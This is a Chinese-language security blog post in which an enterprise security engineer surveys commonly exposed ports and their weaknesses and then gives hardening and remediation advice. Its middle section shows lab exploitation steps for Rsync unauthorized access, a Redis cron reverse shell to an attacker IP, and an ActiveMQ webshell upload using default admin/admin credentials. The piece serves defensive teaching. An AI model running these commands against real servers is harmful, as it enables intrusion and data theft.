混在运维部的安全员说“端口与口令安全” – 作者:liong03

*本文作者:liong03;本文属FreeBuf 原创奖励计划,未经许可禁止转载。

混在运维部的安全员说“端口与口令安全”

1.   前言

先简单自我介绍一下,其实,我是一个安全工程师。现就职于某互联网金融企业负责公司整体网络安全。 

刚到公司时首先是了解一些企业规则和规则制定者,当然了我的工作主要是安全。初来乍到,先了解下公司的IT资产,收集完IT资产后,做一个IP资产开放端口的梳理,端口信息的收集这是一个很重要的过程,因为渗透实战中对端口的渗透是常用手段。

端口收集过程中关注几个问题:

       1.  常见应用的默认端口

       2.  端口的banner信息

       3.  端口上运行的服务

       4.  可能存在漏洞

端口信息的获取,最为常见的应该就是nmap(端口信息比较详细)、御剑(只显示开放的端口,速度很快),也可以结合其他的主机漏洞扫描工具对端口扫描,如天镜、极光、nusses都可以扫描端口和一些漏洞。

混在运维部的安全员说“端口与口令安全”

2.   常见端口威胁

通过端口来进行渗透会很大提升渗透成功效率,在工作中发现运维人员开放了很多端口,很多网上曝过的漏洞可以找到,对于个人来说,这是个学习、实践的机会,连环境都搭好了,但对于企业来说这是个很危险的事情。

为什么有这么多端口开放,甚至有些已经关闭了的端口过段时间又会重新开启。还有些端口要求去整改,但却没有整改,这里面有很多因素,也包括人员安全意识和水平不一样。在公司也发起过安全意识培训和一些安全技术规范,但人员流动,各自专业不一样,关注点不一样。甚至一些人认为安全检查是找茬的,影响发版进度还一个因素,运维部的安全员在执行安全管理时大部分情况是从下往上推,更尴尬的是还换了领导了。也遇到过帮别的甲方企业发现漏洞,告诉了封端口、打补丁,可是运维人员没有去整改,然后大概一个星期后就被黑客入侵了,再花一笔不小的费用让我去封端口、打补丁。一入甲方深似海。。。

在运维部这边遇到安全问题大部分是跟端口、口令相关,开发部那边的情况另说。这里例举了一些常见的端口及可能存在的安全问题,当然了,端口还是要结合服务来看。这里的端口也并不全,我一般看到端口就会去想它的服务,去百度查可能有哪些安全漏洞,大部分是从CVE、CNVD、安全厂商公证号、各大安全论坛也包括freebuf获取漏洞信息。也做过针对企业具体IP的端口、服务、软件版本的资产服务列表,这样有新的漏洞曝出来,就能很快知道哪些服务器可能有安全风险。

序号 类型 端口 软件/服务名称 可能存在的漏洞/利用方式
1 中间件 6379 Redis 1)未授权访问
2 中间件 8161 Apache Group ActiveMQ 1)远程代码执行
3 中间件 873 Rsync 1)远程代码执行
4 中间件 9001 Supervisor 1)远程命令执行漏洞。
5 中间件 4899 Radmin 1)密码爆破
2)远程命令执行
6 中间件 2181 Zookeeper 1)未授权访问
7 中间件 11211 memcached 1)未授权访问
8 中间件 2375 Docker 1未授权访问
9 中间件 7001/7002 weblogic 1)密码爆破
2)Java反序列化漏洞
3)任意文件泄漏
10 中间件 8080 Resin 1)目录遍历
2)远程文件读取
11 中间件 8080 GlassFish 1)弱口令
2)任意文件读取
3)认证绕过
12 中间件 9990 jboss 1)密码爆破
2)远程代码执行
3)Java反序列化
13 中间件 9043 Websphere 1)密码爆破
2)任意文件泄露
3)java反序列化
14 中间件 80/81/443 IIS 1)PUT写文件
2)ms15034
3)http.sys内存下载
4)解析漏洞
5)短文件名泄漏
15 中间件 80/8080 Apache 1)解析漏洞
2)目录遍历
3)任意文件上传
4)密码爆破
16 中间件 80/8080 Tomcat
17 中间件 80/8080 Nginx 1)整数溢出
2)目录遍历下载
3)文件类型解析漏洞
18 中间件 8080/8089 Jenkins 1)口令爆破
2)未授权访问
3)反序列化
19 服务类 161 SNMP 1)未授权访问
20 服务类 443 HTTPS服务 1)SSL心脏滴血
21 服务类 2049 NFS 1)未授权访问
22 服务类 445 Samba-NetBIOS服务 1)MS17-010漏洞
2)MS06-040漏洞
3)病毒入口
23 服务类 135 RPC(远程过程调用)服务 1)利用RPC漏洞攻击计算机
2)病毒入口
24 服务类 139 Samba-文件和打印共享 1)IPC$共享后的空链接漏洞
2)病毒入口
25 服务类 137 Samba-NetBIOS 名字服务 1)利用RPC漏洞攻击计算机
2)病毒入口
3)暴力破解
26 服务类 3389 Windows远程连接 1)Shift粘滞键后门
2)密码爆破
3)利用ms12-020攻击3389端口
27 服务类 22 SSH 1)密码爆破
2)防火墙SSH后门
3)OpenSSL漏洞
28 服务类 23 telnet 1)使用明文传输技术-嗅探
2)暴力破解
29 服务类 53 DNS 1)远程溢出
2)DNS欺骗攻击
3)拒绝服务攻击
4)DNS域传送信息泄露
5)DNS劫持
6)DNS缓存投毒
7)DNS隧道技术刺穿防火墙
30 服务类 389 LDAP 1)注入
2)未授权访问
3)弱密码
31 数据库 1521 oracle 1)各种版本的漏洞
2)密码爆破
3)远程溢出
32 数据库 1433 SQLServer 1)各种版本的漏洞
2)密码爆破
3)远程溢出
33 数据库 3306 mysql 1)各种版本的漏洞
2)密码爆破
3)自定义函数
34 其他软件 5631 symantecpcanywhere 1)各种版本的漏洞
35 其他软件 5900/5900+ VNC 1)密码验证绕过
2)拒绝服务攻击
3)权限提升
4)密码爆破
36 其他软件 8649 ganglia 1)未授权访问
37 其他软件 5632 Pcanywhere 1)提权控制服务:
2)拒绝服务攻击:
3)代码执行
38 其他软件 21 FTP 1)远程溢出
2)暴力破解
3)匿名访问—未授权访问
4)配置不当,直接 cd / && dir
5)使用明文传输技术-嗅探
6)后门技术
7)跳转攻击
39 其他软件 81 ipcam 1)暴力破解
2)可以基于NTP的反射和放大攻击
3)NTP反射型doos攻击

3.   端口漏洞测试

端口漏洞也是挺多的,以下3种漏洞在企业内网比较常见,在外网一般都是做了毕竟严端口控制,外网端口控制简单很多,不像内网架构那么复杂。

3.1   Rsync未授权访问漏洞

3.1.1  漏洞信息

漏洞名称:Rsync未授权访问漏洞

漏洞详情:Rsync因配置不当,导致未授权访问,可未授权上传、下载服务器文件。

Rsync 是一个通过检查文件的时间戳和大小,来跨计算机系统高效地传输和同步文件的工具。通常情况下,管理程序在启动Rsync 服务后,会直接运行传输任务。如果 Rsync 服务未经过安全加固,出现未授权访问等安全问题;其直接后果是传输数据裸露在网络中,可以被任何人访问获取,带来严重的数据泄露风险。

漏洞等级:高危

3.1.2  漏洞测试

一、查看泄露文件

root@kali:~# rsync 192.168.3.XXX::

root@kali:~# rsync 192.168.3.XXX::routing

查看routing目录

混在运维部的安全员说“端口与口令安全”

 二、下载文件

下载routing目录中MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt文件到攻击电脑的root目录:

root@kali:~#rsync -avz 192.168.3.xxx::routing/MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt/root

可以看到成功下载文件到攻击电脑root目录了:

 混在运维部的安全员说“端口与口令安全”

三、上传文件

把攻击电脑root目录中ylr180119.jsp文件上传到靶机服务器routing目录:

root@kali:~# rsync -avz ylr180119.jsp 192.168.3.xxx::routing

混在运维部的安全员说“端口与口令安全”

登录192.168.3.xxx服务器,看到ylr180119.jsp文件成功上传了:

混在运维部的安全员说“端口与口令安全”

后续的操作姿势看个人喜好了,这里只是验证这个漏洞可以被利用入侵服务器。

3.2   Redis服务器远程执行漏洞

3.2.1  漏洞信息

漏洞名称:Redis服务器远程执行漏洞

利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。

漏洞等级:高危

3.2.2  漏洞测试

为了验证漏洞影响,搭建了测试redis服务器,进行漏洞攻击测试。

搭建测试环境:

1)redis服务器安装redis_version:2.8.17

2)redis服务器(靶机)IP:192.168.20.105

3)攻击电脑,IP:192.168.20.102

测试过程(利用反弹shell控制服务器):

1、由于redis服务器默认是没有设redis访问密码,攻击电脑可直接向rides服务器缓存写入一个反弹shell,每分钟执行一次

root@kali:~/redis-2.8.17/src# echo -e "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.20.102/8880>&1\n\n"|/root/redis-2.8.17/src/redis-cli -h 192.168.20.105 -p6379 -x set 1

混在运维部的安全员说“端口与口令安全”

2、登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件

    root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.20.105 -p 6379

        config set dir/var/spool/cron

       config set dbfilename root

       save

混在运维部的安全员说“端口与口令安全”

3、攻击电脑上监听反弹shell,成功连接了redis服务器,可执行任意操作

混在运维部的安全员说“端口与口令安全”

混在运维部的安全员说“端口与口令安全”

当然还有其他的利用姿势,如:

1)写入SSH的key,然后利用key远程登录;

2)替换redis服务器passwd文件;

3)写入网马(前提需要找到网站路径);

3.3   ApacheActiveMQ远程代码执行漏洞

3.3.1 漏洞信息

漏洞名称:Apache ActiveMQ远程代码执行漏洞

利用原理:主要是通过破解账号密码登录Apache ActiveMQ,然后往Apache ActiveMQ目录写入数据库,再通过MOVE保存数据到服务器任意目录。

漏洞等级:高危

3.3.2 漏洞测试

一、上传小马

首先 PUT 一个 jsp 的 Webshell 到 fileserver 目录

1、修改PUT /fileserver/%20/%20为PUT/fileserver/xiaoma.jsp

2、在下方空白处填写小马内容

混在运维部的安全员说“端口与口令安全”

3、访问http://192.168.20.101:8161/fileserver/xiaoma.jsp,输入账号密码admin/admin登录成功,看到小马上传成功

混在运维部的安全员说“端口与口令安全”

二、移动小马到tomcat目录

MOVE/fileserver/xiaoma.jsp

Destination:file:///root/apache-tomcat-7.0.69/webapps/ROOT/xiaoma2.jsp

混在运维部的安全员说“端口与口令安全”

三、使用小马上传大马

使用小马客户端上传大马shell.jsp

混在运维部的安全员说“端口与口令安全”

四、访问大马成功

混在运维部的安全员说“端口与口令安全”

可以使用大马去管理服务器为所欲为…为所欲为…

4.   关于端口与口令安全

纵观端口与口令安全威胁,很多情况是因为默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。对于端口与口令的安全使用,建议可以参考如下措施:

1、采用白名单形式配置主机防火墙/网络防火墙访问控制策略,设置仅允许某IP访问服务某端口。

2、关闭非必要端口,尤其是非必要端口不要开放外网访问。

(很多木马工具也有特定的端口,一些端口由于配置原因容易被恶意人员利用。)

3、设置强壮口令,并定期修改口令。

(密码爆破技术最简单,往往采用字典和社工结合能进行最大效果的爆破。)

4、尽量采用密码防爆破,配合使用如限制次数、验证码等。

5、重要系统尽量使用双因子验证。

6、不要以明文方式传输账号密码。

7、远程运维尽量采用VPN连接方式。

8、尽量以非管理员用户运行服务程序。

9、及时升级版本、打补丁。 

强壮口令是指有以下特征的密码:

1) 同时具备大写和小写字符;

2) 同时具备字母、数字和特殊符号,特殊符号例如:!@#$%^&*()_+|~-=\`{}[]:”;'<>?,./) ;

3) 8个字符或者以上;

4) 不是字典上的单词或者汉语拼音;

5) 不基于个人信息、名字和家庭信息。

5.   关于安全整改

当收集完端口信息后,我发现很多问题,跟运维人员、开发人员聊过人生。发现运维人员、开发人员不太懂安全,而安全人员也不太懂运维和开发,至少我之前是这样的。拿端口和弱口令来说,对于安全人员来说,发现了这个问题一般的建议:改口令、关端口;限制IP访问;打补丁/升级版本;删除一些配置文件。实际情况中运维或开发会反馈:

1)口令更改会涉及一些应用调用,需要同时改好几个地方的配置;

2)有其他系统需要调用这些端口,整改起来很麻烦;

3)linux防火墙还好限IP,windows防火墙有不少坑,网络防火墙限IP可能要改好几个防火墙,而且防火墙策略已经很乱;

4)一些补丁打不上,版本不能升不了级,甚至不能升级和打补丁;

5)这个问题好像没什么影响,我慢点改,最后可能不了了之;

6)有没有更简单的方法,我选更简单的。 

我只是个安全工程师,招入职我的领导升上去了,坚强的后盾没了,还好这么多年的工作经验在运维和开发都懂一些,安全工作也还是要继续:

1)把整改的方法一一分析,讨论可行性,甚至还把一些操作步骤给做成手册,甚至还写过杀毒软件的安装和配置使用手册;

2)把问题风险列出来,甚至进行成功渗透,必要时发个安全通告、安全预警之类,主要是要引起对问题的重视,同时也要避免出问题担责。

漏洞成功利用了,整改操作手册也有了,各位大佬同意整改了,然后就是漏洞跟踪形成闭环。

混在运维部的安全员说“端口与口令安全”

*本文作者:liong03;本文属FreeBuf 原创奖励计划,未经许可禁止转载。

来源:freebuf.com 2018-03-19 09:00:08 by: liong03

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论